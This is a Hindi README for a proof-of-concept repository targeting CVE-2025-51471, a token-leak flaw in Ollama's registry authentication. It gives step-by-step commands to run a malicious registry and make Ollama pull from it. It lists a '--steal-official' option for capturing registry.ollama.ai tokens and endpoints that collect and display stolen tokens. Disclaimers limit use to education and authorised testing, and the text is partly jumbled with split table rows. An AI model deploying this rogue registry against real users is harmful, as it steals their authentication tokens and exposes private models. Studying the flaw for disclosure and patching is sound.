
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं।
लेखक: ajtazer
यह रिपॉजिटरी CVE-2025-51471 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो एक क्रॉस-डोमेन प्रमाणीकरण टोकन एक्सपोज़र भेद्यता है जो Ollama के सभी संस्करणों (नवीनतम सहित) को प्रभावित करती है।
जब Ollama किसी HTTPS सर्वर से मॉडल पुल करता है जो 401 Unauthorized के साथ प्रतिक्रिया देता है, तो यह WWW-Authenticate हेडर के realm URL का अनुसरण करता है बिना यह सत्यापित किए कि यह उसी डोमेन से संबंधित है या नहीं[...]
यह एक हमलावर को निम्न की अनुमति देता है:
WWW-Authenticate हेडर के साथ 401 प्रतिक्रिया लौटानाregistry.ollama.ai पर निजी मॉडल एक्सेस करनाpip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model
मैंने इस PoC को एक छोटे वीडियो में प्रदर्शित किया है — इसे यहाँ देखें:
नोट (macOS HTTPS मोड): यदि HTTPS मोड का उपयोग कर रहे हैं, तो जनरेट किए गए प्रमाणपत्र को अपने keychain में जोड़ें या
--no-sslके साथ HTTP मोड का उपयोग करें।
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | विवरण |
|---|---|
/v2/* | नकली रजिस्ट्री एंडपॉइंट (exploit ट्रिगर करता है) |
/v2/token | टोकन कैप्चर एंडपॉइंट |
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं।
❤️ के साथ Antigravity का उपयोग करके बनाया गया
/tokens |
| सभी कैप्चर किए गए टोकन देखें (JSON) |
/health | सर्वर स्वास्थ्य जाँच |